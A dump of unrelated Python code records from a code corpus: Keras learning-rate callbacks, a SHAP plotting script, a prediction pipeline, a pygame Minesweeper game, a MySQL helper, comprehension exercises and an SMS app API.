['arcsin','arccos','arctan','arccot','arcsec','arccsc']:\n\t\t\t\t\tpossibleu.append(inputexpression[i-6:i]+getfullparen(inputexpression[i:]))\n\t#print possibleu\n\tfor u in possibleu:\n\t\tusubbed = usubstitution(inputexpression,dvar,u)\n\t\t#print usubbed, u\n\t\tif usubbed.find(dvar)==-1:\n\t\t\tif u != dvar and u != '('+dvar+')' and '('+u+')'!=dvar and usubbed != 'u' and usubbed != '('+'u'+')':\n\t\t\t\treturn [True,usubbed,u]\n\treturn [False,inputexpression]\n#print usub('sin(10*x)','x')\n","sub_path":"calculus/integral/usub.py","file_name":"usub.py","file_ext":"py","file_size_in_byte":3129,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"417386100","text":"from keras.callbacks import *\nfrom matplotlib import pyplot as plt\nimport math\nimport keras \nimport keras.backend as K\n\nclass CLR(Callback):\n \"\"\"This callback implements a cyclical learning rate policy (CLR).\n The method cycles the learning rate between two boundaries with\n some constant frequency, as detailed in this paper (https://arxiv.org/abs/1506.01186).\n The amplitude of the cycle can be scaled on a per-iteration or \n per-cycle basis.\n This class has three built-in policies, as put forth in the paper.\n \"triangular\":\n A basic triangular cycle w/ no amplitude scaling.\n \"triangular2\":\n A basic triangular cycle that scales initial amplitude by half each cycle.\n \"exp_range\":\n A cycle that scales initial amplitude by gamma**(cycle iterations) at each \n cycle iteration.\n For more detail, please see paper.\n \n # Example\n ```python\n clr = CyclicLR(base_lr=0.001, max_lr=0.006,\n step_size=2000., mode='triangular')\n model.fit(X_train, Y_train, callbacks=[clr])\n ```\n \n Class also supports custom scaling functions:\n ```python\n clr_fn = lambda x: 0.5*(1+np.sin(x*np.pi/2.))\n clr = CyclicLR(base_lr=0.001, max_lr=0.006,\n step_size=2000., scale_fn=clr_fn,\n scale_mode='cycle')\n model.fit(X_train, Y_train, callbacks=[clr])\n ``` \n # Arguments\n base_lr: initial learning rate which is the\n lower boundary in the cycle.\n max_lr: upper boundary in the cycle. Functionally,\n it defines the cycle amplitude (max_lr - base_lr).\n The lr at any cycle is the sum of base_lr\n and some scaling of the amplitude; therefore \n max_lr may not actually be reached depending on\n scaling function.\n step_size: number of training iterations per\n half cycle. Authors suggest setting step_size\n 2-8 x training iterations in epoch.\n mode: one of {triangular, triangular2, exp_range}.\n Default 'triangular'.\n Values correspond to policies detailed above.\n If scale_fn is not None, this argument is ignored.\n gamma: constant in 'exp_range' scaling function:\n gamma**(cycle iterations)\n scale_fn: Custom scaling policy defined by a single\n argument lambda function, where \n 0 <= scale_fn(x) <= 1 for all x >= 0.\n mode paramater is ignored \n scale_mode: {'cycle', 'iterations'}.\n Defines whether scale_fn is evaluated on \n cycle number or cycle iterations (training\n iterations since start of cycle). Default is 'cycle'.\n \"\"\"\n\n def __init__(self, base_lr=0.001, max_lr=0.006, step_size=2000., mode='triangular',\n gamma=1., scale_fn=None, scale_mode='cycle'):\n super(CyclicLR, self).__init__()\n\n self.base_lr = base_lr\n self.max_lr = max_lr\n self.step_size = step_size\n self.mode = mode\n self.gamma = gamma\n if scale_fn == None:\n if self.mode == 'triangular':\n self.scale_fn = lambda x: 1.\n self.scale_mode = 'cycle'\n elif self.mode == 'triangular2':\n self.scale_fn = lambda x: 1/(2.**(x-1))\n self.scale_mode = 'cycle'\n elif self.mode == 'exp_range':\n self.scale_fn = lambda x: gamma**(x)\n self.scale_mode = 'iterations'\n else:\n self.scale_fn = scale_fn\n self.scale_mode = scale_mode\n self.clr_iterations = 0.\n self.trn_iterations = 0.\n self.history = {}\n\n self._reset()\n\n def _reset(self, new_base_lr=None, new_max_lr=None,\n new_step_size=None):\n \"\"\"Resets cycle iterations.\n Optional boundary/step size adjustment.\n \"\"\"\n if new_base_lr != None:\n self.base_lr = new_base_lr\n if new_max_lr != None:\n self.max_lr = new_max_lr\n if new_step_size != None:\n self.step_size = new_step_size\n self.clr_iterations = 0.\n \n def clr(self):\n cycle = np.floor(1+self.clr_iterations/(2*self.step_size))\n x = np.abs(self.clr_iterations/self.step_size - 2*cycle + 1)\n if self.scale_mode == 'cycle':\n return self.base_lr + (self.max_lr-self.base_lr)*np.maximum(0, (1-x))*self.scale_fn(cycle)\n else:\n return self.base_lr + (self.max_lr-self.base_lr)*np.maximum(0, (1-x))*self.scale_fn(self.clr_iterations)\n \n def on_train_begin(self, logs={}):\n logs = logs or {}\n\n if self.clr_iterations == 0:\n K.set_value(self.model.optimizer.lr, self.base_lr)\n else:\n K.set_value(self.model.optimizer.lr, self.clr()) \n \n def on_batch_end(self, epoch, logs=None):\n \n logs = logs or {}\n self.trn_iterations += 1\n self.clr_iterations += 1\n\n self.history.setdefault('lr', []).append(K.get_value(self.model.optimizer.lr))\n self.history.setdefault('iterations', []).append(self.trn_iterations)\n\n for k, v in logs.items():\n self.history.setdefault(k, []).append(v)\n \n K.set_value(self.model.optimizer.lr, self.clr())\n \nclass LRFinder:\n \"\"\"\n Plots the change of the loss function of a Keras model when the learning rate is exponentially increasing.\n See for details:\n https://towardsdatascience.com/estimating-optimal-learning-rate-for-a-deep-neural-network-ce32f2556ce0\n \"\"\"\n def __init__(self, model):\n self.model = model\n self.losses = []\n self.lrs = []\n self.best_loss = 1e9\n\n def on_batch_end(self, batch, logs):\n # Log the learning rate\n lr = K.get_value(self.model.optimizer.lr)\n self.lrs.append(lr)\n\n # Log the loss\n loss = logs['loss']\n self.losses.append(loss)\n\n # Check whether the loss got too large or NaN\n# if math.isnan(loss) or loss > self.best_loss * 10: #\n# self.model.stop_training = True\n# return\n\n if loss < self.best_loss:\n self.best_loss = loss\n\n # Increase the learning rate for the next batch\n lr *= self.lr_mult\n K.set_value(self.model.optimizer.lr, lr)\n\n\n def find_gen(self, aug_gen, start_lr, end_lr, num_train, batch_size=600, epochs=1):\n steps_per_epoch = num_train / batch_size\n num_batches = epochs * steps_per_epoch\n self.lr_mult = (end_lr / start_lr) ** (1 / num_batches)\n\n # Save weights into a file\n# self.model.save_weights('tmp.h5')\n\n # Remember the original learning rate\n original_lr = K.get_value(self.model.optimizer.lr)\n\n # Set the initial learning rate\n K.set_value(self.model.optimizer.lr, start_lr)\n\n callback = LambdaCallback(on_batch_end=lambda batch, logs: self.on_batch_end(batch, logs))\n \n self.model.fit_generator(aug_gen,\n epochs=epochs,\n steps_per_epoch=steps_per_epoch,\n callbacks=[callback])\n \n # Restore the weights to the state before model fitting\n# self.model.load_weights('tmp.h5')\n\n # Restore the original learning rate\n K.set_value(self.model.optimizer.lr, original_lr)\n \n def find(self, x_train, y_train, start_lr, end_lr, batch_size=64, epochs=1):\n num_batches = epochs * x_train.shape[0] / batch_size\n self.lr_mult = (float(end_lr) / float(start_lr)) ** (float(1) / float(num_batches))\n\n # Save weights into a file\n self.model.save_weights('tmp.h5')\n\n # Remember the original learning rate\n original_lr = K.get_value(self.model.optimizer.lr)\n\n # Set the initial learning rate\n K.set_value(self.model.optimizer.lr, start_lr)\n\n callback = LambdaCallback(on_batch_end=lambda batch, logs: self.on_batch_end(batch, logs))\n\n self.model.fit(x_train, y_train,\n batch_size=batch_size, epochs=epochs,\n callbacks=[callback])\n\n # Restore the weights to the state before model fitting\n self.model.load_weights('tmp.h5')\n\n # Restore the original learning rate\n K.set_value(self.model.optimizer.lr, original_lr)\n\n def plot_loss(self, n_skip_beginning=10, n_skip_end=5):\n \"\"\"\n Plots the loss.\n Parameters:\n n_skip_beginning - number of batches to skip on the left.\n n_skip_end - number of batches to skip on the right.\n \"\"\"\n plt.ylabel(\"loss\")\n plt.xlabel(\"learning rate (log scale)\")\n plt.plot(self.lrs[n_skip_beginning:-n_skip_end], self.losses[n_skip_beginning:-n_skip_end])\n plt.xscale('log')\n\n def plot_loss_change(self, sma=1, n_skip_beginning=10, n_skip_end=5, y_lim=(-0.01, 0.01)):\n \"\"\"\n Plots rate of change of the loss function.\n Parameters:\n sma - number of batches for simple moving average to smooth out the curve.\n n_skip_beginning - number of batches to skip on the left.\n n_skip_end - number of batches to skip on the right.\n y_lim - limits for the y axis.\n \"\"\"\n assert sma >= 1\n derivatives = [0] * sma\n for i in range(sma, len(self.lrs)):\n derivative = (self.losses[i] - self.losses[i - sma]) / sma\n derivatives.append(derivative)\n\n plt.ylabel(\"rate of loss change\")\n plt.xlabel(\"learning rate (log scale)\")\n plt.plot(self.lrs[n_skip_beginning:-n_skip_end], derivatives[n_skip_beginning:-n_skip_end])\n plt.xscale('log')\n plt.ylim(y_lim)\n \n\n\nclass OneCyclicLR(keras.callbacks.Callback):\n '''\n Implement One Cycle Policy Algorithm in the Keras Callback Class\n https://www.kaggle.com/robotdreams/one-cycle-policy-with-keras\n '''\n \n def __init__(self,base_lr, max_lr, step_size, base_m, max_m, cyclical_momentum):\n \n self.base_lr = base_lr\n self.max_lr = max_lr\n self.base_m = base_m\n self.max_m = max_m\n self.cyclical_momentum = cyclical_momentum\n self.step_size = step_size\n \n self.clr_iterations = 0.\n self.cm_iterations = 0.\n self.trn_iterations = 0.\n self.history = {}\n \n def clr(self):\n \n cycle = np.floor(1+self.clr_iterations/(2*self.step_size))\n \n if cycle == 2:\n x = np.abs(self.clr_iterations/self.step_size - 2*cycle + 1) \n return self.base_lr-(self.base_lr-self.base_lr/100)*np.maximum(0,(1-x))\n \n else:\n x = np.abs(self.clr_iterations/self.step_size - 2*cycle + 1)\n return self.base_lr + (self.max_lr-self.base_lr)*np.maximum(0,(1-x))\n \n def cm(self):\n \n cycle = np.floor(1+self.clr_iterations/(2*self.step_size))\n \n if cycle == 2:\n \n x = np.abs(self.clr_iterations/self.step_size - 2*cycle + 1) \n return self.max_m\n \n else:\n x = np.abs(self.clr_iterations/self.step_size - 2*cycle + 1)\n return self.max_m - (self.max_m-self.base_m)*np.maximum(0,(1-x))\n \n \n def on_train_begin(self, logs={}):\n logs = logs or {}\n\n if self.clr_iterations == 0:\n K.set_value(self.model.optimizer.lr, self.base_lr)\n else:\n K.set_value(self.model.optimizer.lr, self.clr())\n \n if self.cyclical_momentum == True:\n if self.clr_iterations == 0:\n K.set_value(self.model.optimizer.momentum, self.cm())\n else:\n K.set_value(self.model.optimizer.momentum, self.cm())\n \n \n def on_batch_begin(self, batch, logs=None):\n \n logs = logs or {}\n self.trn_iterations += 1\n self.clr_iterations += 1\n\n self.history.setdefault('lr', []).append(K.get_value(self.model.optimizer.lr))\n self.history.setdefault('iterations', []).append(self.trn_iterations)\n \n if self.cyclical_momentum == True:\n self.history.setdefault('momentum', []).append(K.get_value(self.model.optimizer.momentum))\n\n for k, v in logs.items():\n self.history.setdefault(k, []).append(v)\n \n K.set_value(self.model.optimizer.lr, self.clr())\n \n if self.cyclical_momentum == True:\n K.set_value(self.model.optimizer.momentum, self.cm())\n ","sub_path":"2d_cls/clr.py","file_name":"clr.py","file_ext":"py","file_size_in_byte":12686,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"170982361","text":"import numpy as np\nfrom numpy.core.fromnumeric import shape\nimport shap\nimport matplotlib.pyplot as plt\nfrom torch._C import dtype\nimport cv2\nimport Tools.colors as colors\nfrom Tools.utils import ensure, get_files\nimport os\nfrom tqdm import trange\nfrom Experiments.Config.issue01 import *\n\nlabel_map = {\n 0:'off',\n 1:'low',\n 2:'high'\n }\n\ndef draw_ensemble_single_frame(sv, y, save_path, parts='task'):\n # sv = np.array(sv)\n nrows = sv.shape[1]\n ncols= sv.shape[3]\n fig, axes = plt.subplots(nrows=nrows, ncols=ncols, figsize=(15, 15), facecolor='white')\n for row in range(nrows):\n gt_label = int(y[row])\n target_sv = sv[gt_label]\n # print(target_sv.shape) # [N, 100, 2, 5, 21]\n # break\n abs_vals = np.abs(target_sv[row]).flatten()\n max_val = np.nanpercentile(abs_vals, 99.9)\n\n # mean along the sequence axis (time, I mean. )\n target_sv = np.mean(target_sv, axis=1, keepdims=False)\n im = axes[row, 0].imshow(target_sv[row, 0, :, :], cmap=colors.red_transparent_blue, vmin=-max_val, vmax=max_val)\n if row == 0:\n axes[row, 0].set_title('Oxy')\n axes[row, 1].set_title('DeOxy')\n im = axes[row, 1].imshow(target_sv[row, 1, :, :], cmap=colors.red_transparent_blue, vmin=-max_val, vmax=max_val)\n gt_label = gt_label // 2\n axes[row, 0].set_xlabel('[mean]-[{}]-[{}]'.format(parts, label_map[gt_label]), loc='left', fontsize='xx-large')\n fig.subplots_adjust(hspace=0.5)\n fig.colorbar(im, ax=np.ravel(axes).tolist(), label=\"SHAP value\", orientation=\"horizontal\")\n # save_path = os.path.join(save_root, '{:04}.png'.format(FRAME))\n plt.savefig(save_path, dpi=80, transparent=False, bbox_inches='tight')\n plt.close('all')\n\n\ndef draw_single_frame(sv, y, save_root, frame, parts='task'):\n FRAME = frame\n sv = np.array(sv)\n nrows = sv.shape[1]\n ncols= sv.shape[3]\n fig, axes = plt.subplots(nrows=nrows, ncols=ncols, figsize=(15, 15), facecolor='white')\n for row in range(nrows):\n gt_label = int(y[row])\n target_sv = sv[gt_label]\n # print(target_sv.shape) # [N, 100, 2, 5, 21]\n # break\n abs_vals = np.abs(target_sv[row]).flatten()\n max_val = np.nanpercentile(abs_vals, 99.9)\n\n im = axes[row, 0].imshow(target_sv[row, FRAME, 0, :, :], cmap=colors.red_transparent_blue, vmin=-max_val, vmax=max_val)\n if row == 0:\n axes[row, 0].set_title('Oxy')\n axes[row, 1].set_title('DeOxy')\n im = axes[row, 1].imshow(target_sv[row, FRAME, 1, :, :], cmap=colors.red_transparent_blue, vmin=-max_val, vmax=max_val)\n gt_label = gt_label // 2\n axes[row, 0].set_xlabel('[{}/100]-[{}]-[{}]'.format(FRAME, parts, label_map[gt_label]), loc='left', fontsize='xx-large')\n fig.subplots_adjust(hspace=0.5)\n fig.colorbar(im, ax=np.ravel(axes).tolist(), label=\"SHAP value\", orientation=\"horizontal\")\n save_path = os.path.join(save_root, '{:04}.png'.format(FRAME))\n plt.savefig(save_path, dpi=80, transparent=False, bbox_inches='tight')\n plt.close('all')\n\ndef release_shap_values(file_names, rel_video_name):\n \"\"\"\n release the frames\n \"\"\"\n img_size = cv2.imread(file_names[0]).shape\n rel = cv2.VideoWriter(rel_video_name, cv2.VideoWriter_fourcc(*'mp4v'), 10, (img_size[1], img_size[0]))\n for i in range(len(file_names)):\n img = cv2.imread(file_names[i])\n rel.write(img)\n rel.release()\n\ndef visual_shap_videos(args, video_root, proc):\n ensure(video_root)\n Basic_Name = args.name\n IDS = args.data_config[\"ids\"].copy()\n for i, id in enumerate(IDS):\n args.data_config['train_ids'] = args.data_config['ids'].copy()\n args.data_config['train_ids'].remove(id)\n args.data_config['eval_ids'] = [id]\n args.name = \"{}_{:02}\".format(Basic_Name, i)\n shap_path = os.path.join('./Visual/SHAP_VALUES/', args.name, f'{i}_{proc}_b0_55_60.npy')\n shap_meta_dict = np.load(shap_path, allow_pickle=True)\n shap_meta_dict = shap_meta_dict[()]\n\n sv_cr_task = shap_meta_dict['cr-task']\n y_cr_task = shap_meta_dict['label_cr_task_wml']\n sv_task_cr = shap_meta_dict['task-cr']\n y_task_cr = shap_meta_dict['label_task_cr_wml']\n\n label_map = {\n 0:'off',\n 1:'low',\n 2:'high'\n }\n\n video_path = os.path.join(video_root, f'{i}_{proc}_b0_55_60.mp4')\n\n # drawing cr task\n for frame in trange(100):\n if frame < 50:\n parts = 'cr'\n else:\n parts = 'task'\n draw_single_frame(sv_cr_task, y_cr_task, \"../outputs/fnirs_temp/\", frame, parts=parts)\n file_names = get_files(\"../outputs/fnirs_temp/\", extension_filter='.png')\n release_shap_values(file_names, video_path)\n\n\ndef ensemble_visual(args, save_root, proc):\n \"\"\"\n save the esemble along the time and subjects. \n \"\"\"\n ensure(save_root)\n Basic_Name = args.name\n IDS = args.data_config[\"ids\"].copy()\n # synthetic_sv = np.zeros((6, 6, 1, 2, 6, 22))\n for i, id in enumerate(IDS):\n args.data_config['train_ids'] = args.data_config['ids'].copy()\n args.data_config['train_ids'].remove(id)\n args.data_config['eval_ids'] = [id]\n args.name = \"{}_{:02}\".format(Basic_Name, i)\n shap_path = os.path.join('./Visual/SHAP_VALUES/', args.name, f'{i}_{proc}_b0_55_60.npy')\n shap_meta_dict = np.load(shap_path, allow_pickle=True)\n shap_meta_dict = shap_meta_dict[()]\n\n sv_cr_task = shap_meta_dict['cr-task'] \n y_cr_task = shap_meta_dict['label_cr_task_wml']\n sv_task_cr = shap_meta_dict['task-cr']\n y_task_cr = shap_meta_dict['label_task_cr_wml']\n\n label_map = {\n 0:'off',\n 1:'low',\n 2:'high'\n }\n synthetic_sv = (np.array(sv_cr_task)[:, :, 50:, :, :, :] \\\n + np.array(sv_task_cr)[:, :, :50, :, :, :])\\\n /2 \n synthetic_sv = topK_shap(synthetic_sv, k=1)\n output_path = os.path.join(save_root, f'jojo__{i}_{proc}_allframes.png')\n draw_ensemble_single_frame(synthetic_sv, y_cr_task, output_path)\n\n\ndef topK_shap(sv, k=3):\n sv_array = np.array(sv)\n sv_array_time = np.sum(sv_array, axis=(4,5))\n topk_time_indx = np.argsort(sv_array_time, axis=2)\n topk_time_indx = topk_time_indx[:,:,:k,:]\n topk_indx_sv_array = np.expand_dims(topk_time_indx, axis=(4,5))\n\n return np.take_along_axis(sv_array, topk_indx_sv_array, axis=2)\n\n\nif __name__ == '__main__':\n \"\"\"\n - need to get the SHAPE VALUE first, at the main_entry.py function. \n \"\"\"\n\n shap_saveRoot = './Visual/shap_map/'\n ensure(shap_saveRoot)\n args = EXP01('debug', 'visualize.log')\n # visual_shap_videos(args, shap_video_save, 'vpl')\n ensemble_visual(args, shap_saveRoot, 'wml')\n \n\n\n","sub_path":"visual_shap.py","file_name":"visual_shap.py","file_ext":"py","file_size_in_byte":6915,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"10792655","text":"import pickle\r\nimport pandas as pd\r\n\r\n# load data\r\nmodel = pickle.load(open(\"socialtime_model.pickle\", 'rb'))\r\nscaler = pickle.load(open(\"socialtime_scaler.pickle\", 'rb'))\r\nencoder = pickle.load(open(\"socialtime_encoder.pickle\", 'rb'))\r\n\r\ndef pred_pipeline(inp, model=model, sc=scaler, enc=encoder):\r\n columns = ['sex', 'age', 'mobile os', 'have girl/boyfriend']\r\n names = enc.get_feature_names([columns[0]] + columns[2:])\r\n s = pd.DataFrame({c: [inp[i]] for i, c in enumerate(columns)})\r\n encoded = enc.transform(s[[columns[0]] + columns[2:]])\r\n encoded = pd.DataFrame(encoded.toarray(), columns=names)\r\n x_data = pd.concat([s['age'], encoded], axis=1)\r\n inp_norm = sc.transform(x_data)\r\n pred = model.predict(inp_norm)\r\n return pred\r\n","sub_path":"volumes/src/predict_social.py","file_name":"predict_social.py","file_ext":"py","file_size_in_byte":745,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"629434069","text":"import pygame as pg\nimport sys\nimport random as r\nfrom os import path\nfrom settings import *\nfrom sprites import *\n\nclass Game:\n def __init__(self):\n pg.init()\n self.screen = pg.display.set_mode((WIDTH, HEIGHT))\n pg.display.set_caption(TITLE)\n self.clock = pg.time.Clock()\n\n def new(self):\n # initialize all variables and do all the setup for a new game\n self.load_data()\n self.all_sprites = pg.sprite.Group()\n self.mines_left = MINENUMBER\n self.game_over = False\n self.bg = bg(self)\n self.tiles = {}\n self.first_click = False\n for x in range(TILEX):\n for y in range(TILEY):\n self.tiles[(x,y)]= tile(self,x,y)\n self.mouse_pos = []\n\n def place_mines(self,x,y):\n found = False\n start_tile = None\n while not found:\n mine_list = r.sample(range(0,TILEX*TILEY),MINENUMBER)\n found = True\n for m in range(3):\n for n in range(3):\n if x+m-1+TILEX*(y+n-1) in mine_list:\n found = False\n start_tile = self.tiles[(x,y)]\n for tile in self.tiles.values():\n if tile.pos[0]+TILEX*tile.pos[1] in mine_list:\n tile.mine = True\n for a_tile in self.tiles.values():\n a_tile.set_neighbors()\n print(len(self.tiles))\n def run(self):\n # game loop - set self.playing = False to end the game\n self.playing = True\n while self.playing:\n self.events()\n self.update()\n self.draw()\n\n def load_data(self):\n game_folder = path.dirname(__file__)\n img_folder = path.join(game_folder,\"sprites\")\n\n self.flag = pg.image.load(path.join(img_folder,\"flag.png\")).convert_alpha()\n self.mine = pg.image.load(path.join(img_folder,\"mine.png\")).convert_alpha()\n\n def quit(self):\n pg.quit()\n sys.exit()\n\n def update(self):\n self.all_sprites.update()\n\n def draw(self):\n self.all_sprites.draw(self.screen)\n pg.display.flip()\n\n def end(self,victory):\n self.game_over = True\n for tile in self.tiles.values():\n if tile.mine:\n tile.image.blit(self.mine,(0,0))\n self.bg.update_counter()\n if victory:\n self.draw_text(self.bg.image,'YOU WIN!',int(WIDTH/2),40,VERYDARKGRAY,40)\n else:\n self.draw_text(self.bg.image,'GAME OVER',int(WIDTH/2),40,VERYDARKGRAY,40)\n\n def victory_check(self):\n for tile in self.tiles.values():\n if not tile.revealed and not tile.mine:\n return False\n return True\n\n def events(self):\n # catch all events here\n for event in pg.event.get():\n if event.type == pg.QUIT:\n self.quit()\n if event.type == pg.KEYDOWN:\n if event.key == pg.K_ESCAPE:\n self.quit()\n if event.key == pg.K_SPACE:\n for tile in self.tiles.values():\n if tile.mine:\n tile.image.fill(LIGHTRED)\n if event.type == pg.KEYUP:\n if event.key == pg.K_SPACE:\n for tile in self.tiles.values():\n if tile.mine:\n tile.image.fill(VERYLIGHTGRAY)\n if event.type == pg.MOUSEBUTTONDOWN:\n if not self.game_over:\n self.mouse_pos = pg.mouse.get_pos()\n if event.button == 1:\n for tile in self.tiles.values():\n if tile.rect.collidepoint(self.mouse_pos) and not tile.revealed:\n if not self.first_click:\n self.place_mines(tile.pos[0],tile.pos[1])\n self.first_click = True\n tile.reveal()\n elif event.button == 3:\n for tile in self.tiles.values():\n if tile.rect.collidepoint(self.mouse_pos) and not tile.revealed:\n if tile.flag():\n self.mines_left -= 1\n else:\n self.mines_left += 1\n self.bg.update_counter()\n if self.victory_check():\n self.end(True)\n\n def draw_text(self,surface,text,x,y,color,size):\n font_name = pg.font.match_font(FONT_NAME)\n font = pg.font.Font(font_name,size)\n text_surface = font.render(text,True,color)\n text_rect = text_surface.get_rect()\n text_rect.center = (x,y)\n surface.blit(text_surface,text_rect)\n\n# create the game object\ng = Game()\nwhile True:\n g.new()\n g.run()\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4893,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"116672705","text":"import pymysql.cursors\n\nclass OpenMySqlDb:\n def __init__(self, db, newSchema=False):\n connection = pymysql.connect(host='localhost',\n user='root',\n password='root',\n db=db,\n charset='utf8mb4',\n cursorclass=pymysql.cursors.DictCursor,\n autocommit=True)\n self.connection = connection\n self.newSchema = newSchema\n self.open(db)\n\n def query_db(self, query, data=None):\n with self.connection.cursor() as cursor:\n try:\n query = cursor.mogrify(query, data)\n print(\"Running Query:\", query)\n\n executable = cursor.execute(query, data)\n if query.lower().find(\"insert\") >= 0:\n # for insert, return the id of the last row, since that is the row we just added\n self.connection.commit()\n return cursor.lastrowid\n elif query.lower().find(\"select\") >= 0:\n # for select, return everything that is fetched from the database\n result = cursor.fetchall()\n return result\n else:\n # if update/delete/others commit the changes and return nothing\n self.connection.commit()\n except Exception as e:\n print(\"Something went wrong\", e)\n return False\n #finally:\n # close the connection\n # self.connection.close()\n\n # yong's codes\n def open(self, db):\n if self.newSchema:\n self.query_db(\"SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0;\")\n self.query_db(\"SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0;\")\n self.query_db(\"SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='TRADITIONAL,ALLOW_INVALID_DATES';\")\n self.query_db(\"CREATE SCHEMA IF NOT EXISTS `\" + db + \"` DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci;\")\n self.query_db(\"USE `\" + db + \"`;\")\n self.opened = True\n self.db = db\n\n def close(self):\n if self.newSchema:\n self.query_db(\"SET SQL_MODE=@OLD_SQL_MODE;\")\n self.query_db(\"SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS;\")\n self.query_db(\"SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS;\")\n self.connection.close()\n self.newSchema = False\n self.opened = False\n self.db = \"\"\n\n def new_friends_tab(self):\n self.query_db(\"CREATE TABLE IF NOT EXISTS `friends` (`id` INT NOT NULL AUTO_INCREMENT, `first_name` VARCHAR(45) NULL, `last_name` VARCHAR(45) NULL, `occupation` VARCHAR(45) NULL, `created_at` DATETIME NULL, `updated_at` DATETIME NULL, PRIMARY KEY (`id`)) ENGINE = InnoDB;\")\n\n\n","sub_path":"mysql/dbopen/openmysqldb.py","file_name":"openmysqldb.py","file_ext":"py","file_size_in_byte":2924,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"126924967","text":"# 12, 13, 14, 15, 16, 17\n\n\n# (1)\nlst = []\nfor num in range(10):\n if num % 2 == 1:\n lst.append(num ** 2)\n else:\n lst.append(num ** 4)\nconvert_list = [num ** 2 if num % 2 == 1 else num ** 4 for num in range(10)]\nprint('BEFORE: ', lst, ' AND AFTER: ', convert_list)\n\n\n# (2)\nlist_comprehension = [num // 2 if num % 2 == 0 else num * 10 for num in range(10)]\nconvert_comp = []\nfor num in range(10):\n if num % 2 == 0:\n convert_comp.append(num // 2)\n else:\n convert_comp.append(num * 10)\nprint('BEFORE: ', list_comprehension, ' AND AFTER: ', convert_comp)\n\n\n# (3)\nd = {}\nfor num in range(1, 11):\n if num % 2 == 1:\n d[num] = num ** 2\nd_comp = {num: num ** 2 for num in range(1, 11) if num % 2 == 1}\nprint('BEFORE: ', d, ' AND AFTER: ', d_comp)\n\n\n# (4)\nd_2 = {}\nfor num in range(1, 11):\n if num % 2 == 1:\n d_2[num] = num ** 2\n else:\n d_2[num] = num // 0.5\nd_2_comp = {num: num ** 2 if num % 2 == 1 else num // 0.5 for num in range(1, 11)}\nprint('BEFORE: ', d_2, ' AND AFTER: ', d_2_comp)\n\n\n# (5)\ndict_comprehension = {x: x**3 for x in range(10) if x**3 % 4 == 0}\ndict_reg = {}\nfor x in range(10):\n if x**3 % 4 == 0:\n dict_reg[x] = x**3\nprint('BEFORE: ', dict_comprehension, ' AND AFTER: ', dict_reg)\n\n\n# (6)\ndict_2_comprehension = {x: x**3 if x**3 % 4 == 0 else x for x in range(10)}\ndict_2_reg = {}\nfor x in range(10):\n if x**3 % 4 == 0:\n dict_2_reg[x] = x**3\n else:\n dict_2_reg[x] = x\nprint('BEFORE: ', dict_2_comprehension, ' AND AFTER: ', dict_2_reg)","sub_path":"comprehensions.py","file_name":"comprehensions.py","file_ext":"py","file_size_in_byte":1545,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"14368087","text":"\"\"\"\n短信应用管理\n\"\"\"\nimport json\n\nfrom schema import And, Optional, Schema, Use\n\nfrom src.apps.models.sms import SMSApp, SMSAppTemplate\nfrom src.comm.model_resource import SQLModelSchemaResource\nfrom src.config.msgconfig import Msg\n\n\nclass SMSAppAPI(SQLModelSchemaResource):\n \"\"\"应用管理\"\"\"\n\n model = SMSApp\n business_unique_fields = (\"app_name\",)\n allow_query_all = True\n has_is_delete = True\n filter_fields = (\n (\"id\", \"==\", \"id\", int),\n (\"app_name\", \"contains\", \"app_name\", str),\n (\"sign_name\", \"contains\", \"sign_name\", str),\n (\"channel_code\", \"==\", \"channel_code\", str),\n (\"channel_name\", \"contains\", \"channel_name\", str),\n (\"operator_id\", \"==\", \"operator_id\", str),\n (\"operator\", \"contains\", \"operator\", str),\n (\"is_valid\", \"==\", \"is_valid\", int),\n (\"is_delete\", \"==\", \"is_delete\", int),\n )\n\n can_not_be_empty = And(Use(lambda s: str(s).strip()), len)\n is_json_str = And(lambda c: json.loads(c))\n is_bool = And(Use(int), lambda n: n in (0, 1))\n validate_schemas = {\n \"post\": Schema(\n {\n \"sign_name\": can_not_be_empty,\n \"app_name\": can_not_be_empty,\n \"channel_code\": can_not_be_empty,\n \"channel_name\": can_not_be_empty,\n \"config\": is_json_str,\n \"operator_id\": can_not_be_empty,\n \"operator\": can_not_be_empty,\n }\n ),\n \"put\": Schema(\n {\n \"id\": Use(int),\n Optional(\"app_name\"): can_not_be_empty,\n Optional(\"sign_name\"): can_not_be_empty,\n Optional(\"channel_name\"): can_not_be_empty,\n Optional(\"config\"): is_json_str,\n Optional(\"operator_id\"): can_not_be_empty,\n Optional(\"operator\"): can_not_be_empty,\n Optional(\"is_valid\"): is_bool,\n }\n ),\n \"delete\": Schema({\"id\": Use(int)}),\n }\n\n def delete(self):\n \"\"\"如果应用模板中引用了相关应用,则禁止删除该应用\n \"\"\"\n\n pk = self.validate_data.get(self.pk_name)\n if SMSAppTemplate.query.filter_by(app_id=pk, is_delete=0).count() > 0:\n return Msg.SMS_APP_DEPENDENT_DELETE\n\n return super().delete()\n","sub_path":"xxw/chaos/src/apps/handlers/sms/sms_app.py","file_name":"sms_app.py","file_ext":"py","file_size_in_byte":2322,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"387144361","text":"__author__ = 'sulantha'\n\nfrom Utils.PipelineLogger import PipelineLogger\nfrom Utils.DbUtils import DbUtils\nimport Config.PipelineConfig as pc\nfrom datetime import datetime\nimport itertools\n\nclass ADNI_T1_Fmri_Helper:\n def 